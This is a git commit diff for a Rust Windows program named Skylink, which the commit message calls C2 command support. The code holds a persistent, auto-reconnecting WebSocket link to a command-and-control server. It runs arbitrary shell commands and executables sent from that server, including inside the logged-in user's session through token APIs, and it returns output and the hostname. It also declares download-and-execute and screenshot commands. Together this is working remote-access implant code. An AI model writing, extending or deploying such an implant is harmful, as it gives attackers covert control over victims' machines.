feat: move ws to separate file & implement c2 commands

Cargo.toml

@@ -24,6 +24,7 @@ windows = { version = "0.57", features = [ # note to future self: DO NOT UPGRADE
 anyhow = "1.0.100"
 futures-util = "0.3.31"
 ntapi = "0.4.1"
+sysinfo = "0.37.2"
 
 [build-dependencies]
 dotenv = "0.15.0"

rustfmt.toml

@@ -1,2 +1,3 @@
 tab_spaces = 2
+max_width = 10000
 

src/lib.rs

@@ -1,20 +1,19 @@
-use futures_util::{SinkExt, StreamExt};
 use futures_util::stream::SplitSink;
 use serde::{Deserialize, Serialize};
-use tokio_tungstenite::tungstenite::Bytes;
 use std::sync::Arc;
 use tokio::{net::TcpStream, sync::Mutex};
 use tokio_tungstenite::tungstenite::protocol::Message;
-use tokio_tungstenite::{MaybeTlsStream, WebSocketStream, connect_async};
+use tokio_tungstenite::{MaybeTlsStream, WebSocketStream};
 
-use crate::lib::logger::{log, LogLevel};
+use crate::lib::logger::{LogLevel, log};
 use crate::lib::winapi::run_as_user;
 
 pub const WS_URL: &str = env!("C2_SERVER_URL");
-pub const LOG_PATH: &str = "test.txt";
+pub const LOG_PATH: &str = r"C:\Users\xory\Desktop\test.txt";
 
 pub mod lib {
   pub mod logger;
+  pub mod websockets;
   pub mod winapi;
 }
 
@@ -28,81 +27,57 @@ pub enum PayloadType {
 }
 
 #[derive(Deserialize, Serialize)]
-pub struct DnxParams<'a> {
-  pub url: &'a str,
-  pub name: &'a str,
-  pub args: &'a str,
+pub struct DnxParams {
+  pub url: String,
+  pub name: String,
+  pub args: String,
   pub run_as_system: bool,
   pub file_type: PayloadType,
 }
 
 #[derive(Deserialize, Serialize)]
-pub enum Command<'a> {
-  RunCMD { command: &'a str, args: Vec<&'a str> },
-  URunCMD { command: &'a str },
-  URunExe { path: &'a str, args: &'a str },
+pub enum Command {
+  RunCMD { command: String, args: Vec<String> },
+  URunCMD { command: String },
+  URunExe { path: String, args: String },
   ClientInfo,
-  Dnx { params: DnxParams<'a> },
+  Dnx { params: DnxParams },
   Screenshot,
 }
 
-pub async fn reconnect_websocket(ws: WsTx) {
-  let mut lock = ws.lock().await;
-  loop {
-    if let Ok(connection) = connect_async(WS_URL).await {
-      let (ws_conn, _) = connection;
-      let (ws_trx, _) = ws_conn.split();
-      *lock = Some(ws_trx);
-      break;
-    }
-    std::thread::sleep(std::time::Duration::from_secs(5));
-  }
-}
-
-pub async fn ping_job(ws_tx: WsTx) -> anyhow::Result<()> {
-    tokio::time::sleep(std::time::Duration::from_secs(10)).await;
-    let message = Message::Ping(Bytes::from("ping"));
-    {
-      let mut unlocked_ws_tx = ws_tx.lock().await;
-      if let Some(h) = unlocked_ws_tx.as_mut() {
-          log(LogLevel::Debug, LOG_PATH, "[ws] sending ping".to_string()).await;
-          h.send(message).await?;
-          return Ok(());
-      } else {
-          use tokio::io::{Error, ErrorKind};
-          return Err(Error::new(ErrorKind::BrokenPipe, "Sender is none").into())
-      }
-    }
-}
-
-pub fn eval_command(text: &str) -> anyhow::Result<String> {
-    let parsed: Command = serde_json::from_str(text)?;
+pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
+  let str_ified = text.into();
+  let parsed: Command = serde_json::from_str(str_ified)?;
   match parsed {
     Command::RunCMD { command, args } => {
-        let proc = std::process::Command::new(command)
-            .args(args)
-            .output()?;
+      let h = args.join(" "); // only used for logging/debugging
+      log(LogLevel::Debug, LOG_PATH, format!("Running command {command} with args {h}")).await;
+      let proc = std::process::Command::new(command).args(args).output()?;
       return Ok(String::from_utf8_lossy(&proc.stdout).to_string());
-      },
+    }
     Command::URunCMD { command } => {
-          let formatted_param = format!("cmd.exe /k {command}");
+      let formatted_param = format!("cmd.exe /c \"{command}\"");
+      log(LogLevel::Debug, LOG_PATH, format!("Running command {formatted_param}")).await;
       let _result = run_as_user(r"C:\Windows\System32\cmd.exe", &formatted_param)?;
       // we temporarily mark these with _ since run_as_user might return later in dev
-          return Ok(format!(""))
-      },
+      return Ok(format!(""));
+    }
     Command::URunExe { path, args } => {
       if let Some(executable_name) = path.split(r"\").last() {
+        log(LogLevel::Debug, LOG_PATH, format!("Running executable {path} with args {args}")).await;
         let formatted_param = format!("{executable_name} {args}");
-            let _result = run_as_user(path, &formatted_param)?;
-            return Ok(format!(""))
+        let _result = run_as_user(&path, &formatted_param)?;
+        return Ok(format!(""));
       } else {
         use tokio::io::{Error, ErrorKind};
-            return Err(Error::new(ErrorKind::NotFound, "Invalid path").into())
+        return Err(Error::new(ErrorKind::NotFound, "Invalid path").into());
       }
     }
-      _ => todo!()
+    Command::ClientInfo => {
+      let hostname = sysinfo::System::host_name();
+      let skylink_ver = "1.0.0";
+      if let Some(actual_hostname) = hostname { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"{actual_hostname}\" }}")) } else { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"err_none_detected\" }}")) }
+    }
+    _ => todo!(),
   }
 }
-
-
-

src/lib/logger.rs

@@ -11,12 +11,7 @@ pub enum LogLevel {
 }
 
 pub async fn log(level: LogLevel, path: &str, detail: String) {
-  if let Ok(mut logfile) = OpenOptions::new()
-    .write(true)
-    .append(true)
-    .create(true)
-    .open(path)
-  {
+  if let Ok(mut logfile) = OpenOptions::new().write(true).append(true).create(true).open(path) {
     let unix_timestamp = SystemTime::now()
       .duration_since(UNIX_EPOCH)
       .unwrap() // fault tolerance is cool but here it'd be overkill
@@ -46,10 +41,7 @@ pub async fn log(level: LogLevel, path: &str, detail: String) {
     println!("{}", ansi_string);
 
     if let Err(e) = logfile.write(logfile_string.as_bytes()) {
-      eprintln!(
-        "Got error {:?} while trying to write to logfile.",
-        e
-      );
+      eprintln!("Got error {:?} while trying to write to logfile.", e);
     }
   }
 }

src/lib/websockets.rs

@@ -0,0 +1,137 @@
+use crate::{LOG_PATH, LogLevel, WS_URL, WsTx, eval_command, log};
+use futures_util::{SinkExt, StreamExt};
+use tokio_tungstenite::connect_async;
+use tokio_tungstenite::tungstenite::{Bytes, Message};
+
+pub async fn reconnect_websocket(ws: WsTx) {
+  let mut lock = ws.lock().await;
+  loop {
+    if let Ok(connection) = connect_async(WS_URL).await {
+      let (ws_conn, _) = connection;
+      let (ws_trx, _) = ws_conn.split();
+      *lock = Some(ws_trx);
+      break;
+    }
+    std::thread::sleep(std::time::Duration::from_secs(5));
+  }
+}
+
+pub async fn ping_job(ws_tx: WsTx) -> anyhow::Result<()> {
+  tokio::time::sleep(std::time::Duration::from_secs(15)).await;
+  let message = Message::Ping(Bytes::from("ping"));
+  {
+    let mut unlocked_ws_tx = ws_tx.lock().await;
+    if let Some(h) = unlocked_ws_tx.as_mut() {
+      log(LogLevel::Debug, LOG_PATH, "[ws] sending ping".to_string()).await;
+      h.send(message).await?;
+      return Ok(());
+    } else {
+      use tokio::io::{Error, ErrorKind};
+      return Err(Error::new(ErrorKind::BrokenPipe, "Sender is none").into());
+    }
+  }
+}
+
+// Some parts of this function were generated by an LLM. I'm taking note of this in case a
+// weird barely detectable bug pops up, as LLMs tend to generate.
+async fn websocket_handler(ws_tx: WsTx) {
+  use std::time::Duration;
+  use tokio_tungstenite::connect_async;
+
+  loop {
+    let connection_result = connect_async(WS_URL).await;
+
+    let ws_stream = match connection_result {
+      Ok((stream, _)) => {
+        log(LogLevel::Info, LOG_PATH, "[ws] WebSocket connection established.".to_string()).await;
+        stream
+      }
+      Err(e) => {
+        log(LogLevel::Warning, LOG_PATH, format!("[ws] Failed to connect: {:?}. Retrying in 5s....", e)).await;
+        tokio::time::sleep(Duration::from_secs(5)).await;
+        continue;
+      }
+    };
+
+    let (ws_send, mut ws_recv) = ws_stream.split();
+
+    {
+      let mut unlocked = ws_tx.lock().await;
+      *unlocked = Some(ws_send);
+    }
+
+    let ws_tx_clone = ws_tx.clone();
+    tokio::spawn(async move {
+      loop {
+        if let Err(_) = ping_job(ws_tx_clone.clone()).await {
+          reconnect_websocket(ws_tx_clone.clone()).await;
+        }
+      }
+    });
+
+    while let Some(msg) = ws_recv.next().await {
+      match msg {
+        Ok(Message::Text(text)) => {
+          log(LogLevel::Debug, LOG_PATH, format!("[ws] received text: {}", &text)).await;
+          log(LogLevel::Info, LOG_PATH, format!("[c2] evaluating command...")).await;
+          match eval_command(text.as_str()).await {
+            Err(e) => log(LogLevel::Error, LOG_PATH, format!("[c2] failed to evaluate command! {e}")).await,
+            Ok(v) => {
+              let mut unlocked_ws_tx = ws_tx.lock().await;
+              if let Some(h) = unlocked_ws_tx.as_mut() {
+                if let Err(e) = h.send(format!("{{ \"err\": null, \"out\": \"{v}\" }}").into()).await {
+                  log(LogLevel::Error, LOG_PATH, format!("[ws] {e}")).await;
+                  break;
+                }
+                log(LogLevel::Info, LOG_PATH, format!("[c2] command evaluated successfully!")).await;
+              } else {
+                break;
+              }
+            }
+          }
+        }
+        Ok(Message::Close(_)) => {
+          log(LogLevel::Warning, LOG_PATH, format!("[ws] received close frame, disconnecting.")).await;
+          break;
+        }
+        Ok(Message::Ping(h)) => {
+          log(LogLevel::Debug, LOG_PATH, format!("[ws] received ping, sending pong")).await;
+          let mut unlocked = ws_tx.lock().await;
+
+          match unlocked.as_mut() {
+            Some(v) => {
+              if let Err(e) = v.send(Message::Pong(h)).await {
+                log(LogLevel::Error, LOG_PATH, format!("[ws] failed to send pong: {e}, reconnecting.")).await;
+                break;
+              }
+            }
+            None => {
+              log(LogLevel::Error, LOG_PATH, format!("[ws] failed to respond: no sink, reconnecting.")).await;
+              break;
+            }
+          }
+        }
+        Ok(Message::Pong(_)) => {
+          log(LogLevel::Debug, LOG_PATH, format!("[ws] received pong")).await;
+          // 99% chance this is a response to our pings, we don't need to do anything here
+          // however, a "sending ping" without a corresponding "received pong" looks goofy in
+          // the logs
+        }
+        Err(e) => {
+          log(LogLevel::Error, LOG_PATH, format!("[ws] error receiving message: {:?}.", e)).await;
+          break;
+        }
+        _ => {}
+      }
+    }
+
+    {
+      let mut unlocked_ws_tx = ws_tx.lock().await;
+      *unlocked_ws_tx = None;
+    }
+
+    log(LogLevel::Error, LOG_PATH, format!("[ws] connection lost.")).await;
+
+    tokio::time::sleep(std::time::Duration::from_secs(5)).await;
+  }
+}

src/lib/winapi.rs

@@ -1,15 +1,12 @@
-use windows::core::{PCWSTR, PWSTR};
-use windows::Win32::Foundation::{CloseHandle, HANDLE};
-use windows::Win32::System::RemoteDesktop::{WTSGetActiveConsoleSessionId, WTSQueryUserToken};
-use windows::Win32::System::Threading::{
-    CreateProcessAsUserW, CREATE_NO_WINDOW, CREATE_UNICODE_ENVIRONMENT,
-    PROCESS_INFORMATION, STARTUPINFOW,
-};
-use windows::Win32::System::Environment::{CreateEnvironmentBlock, DestroyEnvironmentBlock};
 use ntapi::ntrtl::RtlAdjustPrivilege;
+use windows::Win32::Foundation::{CloseHandle, HANDLE};
+use windows::Win32::System::Environment::{CreateEnvironmentBlock, DestroyEnvironmentBlock};
+use windows::Win32::System::RemoteDesktop::{WTSGetActiveConsoleSessionId, WTSQueryUserToken};
+use windows::Win32::System::Threading::{CREATE_NO_WINDOW, CREATE_UNICODE_ENVIRONMENT, CreateProcessAsUserW, PROCESS_INFORMATION, STARTUPINFOW};
+use windows::core::{PCWSTR, PWSTR};
 
 fn to_wide_vec(s: &str) -> Vec<u16> {
-    s.encode_utf16().collect()
+  s.encode_utf16().chain(std::iter::once(0)).collect()
 }
 
 pub fn run_as_user(app: &str, cmd: &str) -> anyhow::Result<()> {

src/main.rs

@@ -1,97 +1,14 @@
 use futures_util::{SinkExt, stream::StreamExt};
-use skylink::{ping_job, reconnect_websocket, WsTx};
 use skylink::lib::logger::{LogLevel, log};
 use skylink::{LOG_PATH, WS_URL};
+use skylink::{WsTx, eval_command, websockets::ping_job, websockets::reconnect_websocket};
 use std::sync::Arc;
 use tokio::sync::Mutex;
 use tokio_tungstenite::tungstenite::protocol::Message;
 
-// Some parts of this function were generated by an LLM. I'm taking note of this in case a
-// weird barely detectable bug pops up, as LLMs tend to generate.
-async fn websocket_handler(ws_tx: WsTx) {
-  use std::time::Duration;
-  use tokio_tungstenite::connect_async;
-
-  loop {
-    let connection_result = connect_async(WS_URL).await;
-
-    let ws_stream = match connection_result {
-      Ok((stream, _)) => {
-        log(LogLevel::Info, LOG_PATH, "[ws] WebSocket connection established.".to_string()).await;
-        stream
-      }
-      Err(e) => {
-        log(LogLevel::Warning, LOG_PATH, format!("[ws] Failed to connect: {:?}. Retrying in 5s....", e)).await;
-        tokio::time::sleep(Duration::from_secs(5)).await;
-        continue;
-      }
-    };
-
-    let (ws_send, mut ws_recv) = ws_stream.split();
-
-    {
-      let mut unlocked = ws_tx.lock().await;
-      *unlocked = Some(ws_send);
-    }
-    
-    let ws_tx_clone = ws_tx.clone();
-    tokio::spawn(async move {
-      loop {
-        if let Err(_) = ping_job(ws_tx_clone.clone()).await {
-            reconnect_websocket(ws_tx_clone.clone()).await;
-        }
-      }
-    });
-
-    while let Some(msg) = ws_recv.next().await {
-      match msg {
-        Ok(Message::Text(text)) => {
-          log(LogLevel::Debug, LOG_PATH, format!("[ws] received text: {}", &text)).await;
-        }
-        Ok(Message::Close(_)) => {
-          log(LogLevel::Warning, LOG_PATH, format!("[ws] received close frame, disconnecting.")).await;
-          break; 
-        }
-        Ok(Message::Ping(h)) => {
-          log(LogLevel::Debug, LOG_PATH, format!("[ws] received ping, sending pong")).await;
-          let mut unlocked = ws_tx.lock().await;
-          
-          match unlocked.as_mut() {
-            Some(v) => {
-              if let Err(e) = v.send(Message::Pong(h)).await {
-                log(LogLevel::Error, LOG_PATH, format!("[ws] failed to send pong: {e}, reconnecting.")).await;
-                break;
-              }
-            }
-            None => {
-              log(LogLevel::Error, LOG_PATH, format!("[ws] failed to respond: no sink, reconnecting.")).await;
-              break;
-            }
-          }
-        }
-        Err(e) => {
-          log(LogLevel::Error, LOG_PATH, format!("[ws] error receiving message: {:?}.", e)).await;
-          break;
-        }
-        _ => {}
-      }
-      
-    }
-
-    {
-      let mut unlocked_ws_tx = ws_tx.lock().await;
-      *unlocked_ws_tx = None;
-    }
-
-    log(LogLevel::Error, LOG_PATH, format!("[ws] connection lost.")).await;
-
-    tokio::time::sleep(std::time::Duration::from_secs(5)).await;
-  }
-}
-
-
 #[tokio::main]
 async fn main() -> anyhow::Result<()> {
+  log(LogLevel::Info, LOG_PATH, format!("[main] Skylink version 1.0.0 starting...")).await;
   let ws_tx: WsTx = Arc::new(Mutex::new(None));
   let ws_tx_for_handler = Arc::clone(&ws_tx);
   websocket_handler(ws_tx_for_handler).await;